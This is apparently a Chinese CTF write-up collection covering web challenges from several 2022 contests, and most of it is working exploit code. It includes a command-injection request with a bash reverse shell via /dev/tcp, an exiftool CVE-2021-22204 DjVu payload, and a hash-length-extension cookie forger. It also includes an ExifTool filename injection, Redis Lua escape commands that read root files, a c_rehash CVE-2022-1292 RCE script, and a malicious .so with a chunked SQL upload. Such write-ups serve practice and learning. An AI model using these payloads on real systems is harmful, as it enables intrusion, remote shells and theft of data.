(s1) len2 = len (s2) if s1 == "" or s2 == "" : return -1 for i in range (len1 - len2 + 1 ): if s1[i] == s2[0 ] and s1[i:i+len2] == s2: res.append(i) return res if res else -1 def detector (each_filepath ): print("模型成功加载" ) each_path = "/tmp/upload/test.php" try : a = subprocess.Popen(["php -dvld.verbosity=1 -dvld.active=1 -dvld.execute=1 " + each_filepath], stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True ) with open (each_filepath+".op" , "wb" ) as fp: fp.write(a.communicate()[1 ]) fp.close() print(each_path) words_operands = "" words_op = "" with open (each_filepath+".op" , "r" ) as fp: tmp = fp.readlines() flag = 0 idx_op = 0 data = [] all_data = [] for i in range (0 , len (tmp)): if "\n" == tmp[i]: if flag == 1 : all_data.append(data) data = [] flag = 0 if flag == 1 : a = tmp[i][:-1 ] each_op = a[idx_op:idx_fetch].lstrip().rstrip() each_operands = a[idx_operands:].lstrip().rstrip() each_return = a[idx_return:idx_operands].lstrip().rstrip() data.append([each_op, each_return, each_operands, 1 ]) words_operands += each_operands + " " words_op += each_op + " " if "---" in tmp[i]: flag = 1 idx_op = index_of_str(tmp[i - 1 ], "op" )[0 ] idx_operands = index_of_str(tmp[i - 1 ], "operands" )[0 ] idx_fetch = index_of_str(tmp[i - 1 ], "fetch" )[0 ] idx_return = index_of_str(tmp[i - 1 ], "return" )[0 ] except : print("can't parse" ) exit(0 ) vector = vectorizer.transform([words_op]) print(vector.shape) vec = vector.toarray() print(vec) df = pd.DataFrame(vec) print(rfc.predict(df)) if rfc.predict(df) == 1 : return 1 def gen_path (): seed = "1234567890abcdefghiZQAXSWCDEVFRBGTNHYJMUKOLPjklmnopqrstuvwxyz" sa = [] for i in range (15 ): sa.append(random.choice(seed)) salt = '' .join(sa) print(salt) hash = hashlib.md5() hash .update(salt.encode()) md5_test = hash .hexdigest() return md5_test import osdef mkdir (path ): folder = os.path.exists(path) if not folder: os.makedirs(path) def allowed_file (filename ): return '.' in filename and \ filename.rsplit('.' , 1 )[1 ] in ALLOWED_EXTENSIONS @app.route('/' , methods=['GET' , 'POST' ] ) def upload_file (): if request.method == 'POST' : file = request.files['file' ] if file and allowed_file(file.filename): filename = secure_filename(file.filename) file.save(os.path.join(app.config['UPLOAD_FOLDER' ], filename)) if detector('/tmp/upload/' +filename): return 'not allowed!' else : dir_name = gen_path() upload_path = "/var/www/html/" +dir_name + '/index.php' upload_dir = '/var/www/html/' + dir_name + '/' mkdir(upload_dir) shutil.move(os.path.join(app.config['UPLOAD_FOLDER' ], filename), upload_path) chmod(upload_dir,555 ) return upload_path.replace("/var/www/html/" ,"/shell/" ) return ''' <!doctype html> <title>Upload new File</title> <h1>Upload new File</h1> <form action="" method=post enctype=multipart/form-data> <p><input type=file name=file> <input type=submit value=Upload> </form> ''' os.system("service apache2 restart" ) app.run("0.0.0.0" ,5000 )
春秋杯 [web]picture_convert 核心代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 @app.route('/upload' , methods=['GET' , 'POST' ] ) def upload (): type = request.form.get("type" , "jpg" ) file_info = request.files['file' ] file_data = file_info.read() if check_data(file_data): return "No hacker" f = open ("./static/images/tmpimg" , 'wb' ) f.write(file_data) f.close() new_filename = str (uuid.uuid4()) + '.' + type session["filename" ] = new_filename print(new_filename) return "文件上传成功,其他模块还在开发中~~~" @app.route('/convert' , methods=['GET' ] ) def convert (): print(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename' ]} '" ) os.system(f"su - conv -c 'cd /app/static/images/ && convert tmpimg {session['filename' ]} '" ) json_data = {"path" : session['filename' ]} return json.dumps(json_data)
session[‘filename’] 处可控,可以命令注入
发包,弹个shell,然后cat flag* 就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 POST /upload HTTP/1.1 Host: eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888 Content-Length: 389 Accept: */* X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVrVSavkEhau25WE2 Origin: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888 Referer: http://eci-2ze052u8r1rhe9sxadr3.cloudeci1.ichunqiu.com:8888/ Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1651813802; ci_session=f5b19a1595270547cebe75ae6ce4227dbd3e59b1; __jsluid_h=d234c46bd056a4881f51aef688ff89ac Connection: close ------WebKitFormBoundaryVrVSavkEhau25WE2 Content-Disposition: form-data; name="type" jpg';bash -c 'exec bash -i &>/dev/tcp/ip/11011 <&1';' ------WebKitFormBoundaryVrVSavkEhau25WE2 Content-Disposition: form-data; name="file"; filename="123.png" Content-Type: image/png test ------WebKitFormBoundaryVrVSavkEhau25WE2--
[web]picture_convert_plus 打 cve CVE-2021-22204
https://www.anquanke.com/post/id/266606#h3-13
1 2 3 4 5 6 7 8 9 10 11 printf 'P1 1 1 0' > moo.pbm cjb2 moo.pbm moo.djvu printf 'ANTa\0\0\0\36"(xmp(\\\n".`(echo 2>/tmp/4)`;#"' >> moo.djvu 这里的36用python2 oct(len('"(xmp(\\\n".`(echo 2>/tmp/4)`;#"')) 算出来的 (里面放命令) 测试用的su - exif -c '/app/exiftool-12.23/exiftool /app/static/moo.djvu'
能执行命令,exif权限….
拿到一半flag,另一半的flag没打通,赛后问了一下苏安师傅,非预期,直接在/proc下grep flag ….
官方wp没出,题目环境还要认证,,盖章,,乌鱼子
m0lecon [web]fancynotes hash拓展攻击 https://www.cnblogs.com/pcat/p/5478509.html
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 import hashpumpyfrom base64 import b64encodeimport requestsproxies = {"http" : "http://192.168.0.110:8080" } def req (exp ): burp0_url = "https://fancynotes.m0lecon.fans/notes" burp0_cookies = {"user" : exp} burp0_headers = {"Pragma" : "no-cache" , "Cache-Control" : "no-cache" , "Sec-Ch-Ua" : "\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Google Chrome\";v=\"101\"" , "Sec-Ch-Ua-Mobile" : "?0" , "Sec-Ch-Ua-Platform" : "\"Windows\"" , "Upgrade-Insecure-Requests" : "1" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.67 Safari/537.36" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9" , "Sec-Fetch-Site" : "same-origin" , "Sec-Fetch-Mode" : "navigate" , "Sec-Fetch-User" : "?1" , "Sec-Fetch-Dest" : "document" , "Referer" : "https://fancynotes.m0lecon.fans/login" , "Accept-Encoding" : "gzip, deflate" , "Accept-Language" : "zh-CN,zh;q=0.9" , "Connection" : "close" } r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies, allow_redirects=False ) if r.status_code==302 : print(r.status_code) else : print(burp0_cookies) exit() def gencookie (i ): res = hashpumpy.hashpump("17cb085301c56cbf64bacf48bff77a6776940745c895babd8df05e85da1ee1cc" , "username=L111,locale=en" , ",username=admin" , i) print(res) sign = res[0 ] userstr = res[1 ] cookie = b64encode(userstr+b'|' +sign.encode()) print(cookie) return cookie.decode() def fuck (): for i in range (15 ,40 ): print(i) exp = gencookie(i) req(exp) fuck()
[web]Dumb Forum 有一个ssti 注册邮箱处
1 t{{url_for.__globals__.os.environ}}@qq.com
没能RCE 从环境变量中拿到flag
[misc] Placey 头像处有上传点,上传报错得到ExifTool 12.37 CVE-2022-23935
构造filename=L1ao;cmd |
可执行命令 但是很多东西都没有
1 Content-Disposition: form-data; name="avatar"; filename="97341154_p0_master21200.jpg;echo base64==|base64 -d|bash -i |"
反弹shell
打redishttps://www.adminxe.com/3620.html
1 2 3 4 5 6 7 appuser@placey2:/root/quart$ redis-cli -h 127.0.0.1 redis-cli -h 127.0.0.1 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("uname -a", "r"); local res = f:read("*a"); f:close(); return res' 0Linux placey2 5.10.112-108.499.amzn2.x86_64 eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("cat /root/flag.txt", "r"); local res = f:read("*a"); f:close(); return res' 0ptm{th3r3_w1ll_n3v3r_b3_@_pl@c3y_l1k3_h0m3y}
CISCN [web]ezpop web签到题
网上直接有链子,如果网上没有话也不至于签到…
https://m.freebuf.com/vuls/321546.html
[web]online_crt uri可控,可以伪造任意http请求头
学点go c.Request.URL.RawPath 给请求头斜杆任意一个编个码,不然这个就为空
最好本地测试
然后就是考 c_rehash 这个的 CVE-2022-1292
网上没有现成的poc 找到一个 https://www.bilibili.com/video/BV1P54y1Z7S6/
但是这个 用 && 如果前面命令失败就不会执行后面的命令 所以改成用 ; 只需要一个证书即可
也可以自己分析一下,像我这么菜都看得懂了
perl里面 反引号 ` 会执行命令
定位一下
1 2 3 4 my ($hash, $fprint) = `"$openssl" x509 $x509hash -fingerprint -noout -in "$fname"` ;
还有一点就是重命名的话 最好base64 编码一下,不然如果有 / 的会导致rename失败
还得注意你的payload 如果你把你的命令输出到static文件夹下的话,要注意文件内容是否有被其他命令覆盖了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 import requestsfrom urllib.parse import quoteimport base64def gen_crt (target_url ): dataa = { "City" :"CN" , "CommonName" :"CN&Country" , "CN&EmailAddress" :"CN%40CN.CN" , "OrganizationalName" :"CN" , "Province" :"CN" , "submit" :"" } r = requests.post(url=target_url+"getcrt" ,data=dataa) c1 = r.text[11 :] print(c1) return c1 def rname (fname,target_url,cmd ): rname_url = target_url + "proxy" command = fname + '";{};echo ".crt' .format (cmd) command = quote(command, 'utf-8' ) uri = """/admin%2Frename?oldname={}&newname={} HTTP/1.1 Host: admin User-Agent: Guest Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close x=""" .format (fname,command) dataa = { "uri" :uri } r = requests.get(url=rname_url,data=dataa) def rce (rce_url ): rcee_url = rce_url + "createlink" r = requests.get(url = rcee_url) res_url = rce_url + "static/crt/1" r = requests.get(url = res_url) print(r.text) if __name__ == "__main__" : url = "http://1.14.71.254:28981/" cmd = "rm *;cat /etc/passwd > 1" base_cmd = f"echo {base64.b64encode(cmd.encode()).decode()} |base64 -d|bash -i" print(base_cmd) cmd = base_cmd fname = gen_crt(url) rname(fname,url,cmd) rce(url)
ACTF [web]myclient mysqli_options 可控
https://www.php.net/manual/zh/mysqli.options.php
设置 MYSQLI_INIT_COMMAND 执行任意sql语句
设置 MYSQLI_READ_DEFAULT_FILE 可以从指定的文件中读取客户端配置选项
写入一个恶意so文件和一个自定义客户端配置 然后加载客户端配置会去加载自定义plugin.so实现客户端rce
https://dev.mysql.com/doc/c-api/5.7/en/c-api-plugin-interface.html
a client that supports the use of authentication plugins normally causes a plugin to be loaded by calling mysql_options() to set the MYSQL_DEFAULT_AUTH and MYSQL_PLUGIN_DIR options:
恶意so生成
1 2 3 4 5 6 7 #define _GNU_SOURCE #include <stdlib.h> __attribute__ ((__constructor__)) void preload (void) { system("touch /tmp/pwned"); } //# gcc evil450.c -o evil450.so --shared -fPIC
1 2 3 4 5 6 7 //mmmmy.cnf [client]# plugin_dir=/tmp/e10adc3949ba59abbe56e057f20f883e # default_auth=evil450 # default_authentication_plugin = evil450 # default_authentication = evil450 # init-command=SELECT 0x(恶意so的十六进制) INTO DUMPFILE "/tmp/e10adc3949ba59abbe56e057f20f883e/evil450.so";#
mysql写文件把mmmmy.cnf 写入 /tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf 然后访问
http://ip:port/index.php?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/mmmmy.cnf
执行任意命令
文件分块传输,最后用sql语句拼接,exp:
mysql 写文件会在行末加 \ 注意截取 别吞byte 会导致so损坏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 import requestsurl = "http://124.71.205.170:10047/index.php" payload = [] with open ("res1.txt" ,"r" ) as f: file_data = f.read() i = 0 j = 0 while i < len (file_data): if i + 1000 > len (file_data): values = file_data[i:] else : values = file_data[i:i + 1000 ] i = i + 1000 j = j + 1 payload+=[values] length = int (500 ) filenames = [] i=0 for v in payload: filename = "/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS" +str (i) filenames += [filename] sql = "select 0x" +v+" into outfile '" +filename+"'" print(sql) i+=1 params = { "key" : 3 , "value" : sql } resp = requests.get(url,params) print(resp.text) sqlinit = "select 0x" +payload[1 ]+" into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp1'" params = { "key" : 3 , "value" : sqlinit } resp = requests.get(url,params) i=1 for v in filenames: if i==len (filenames)-1 : break sql2 = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp" +str (i)+"'),1," +str (length*(i))+")),(select substr(load_file('" +filenames[i+1 ]+"'),1," +str (length)+"))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp" +str (i+1 )+"';" print(sql2) params = { "key" : 3 , "value" : sql2 } resp = requests.get(url, params) i += 1 sqlinit = "select concat_ws('',(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIS0'),1,505)),(select substr(load_file('/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp58'),1,28582))) into outfile '/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf';" params = { "key" : 3 , "value" : sqlinit } resp = requests.get(url,params) requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf" ) requests.get(url+"?key=4&value=/tmp/e10adc3949ba59abbe56e057f20f883e/ROIStmp59.cnf" )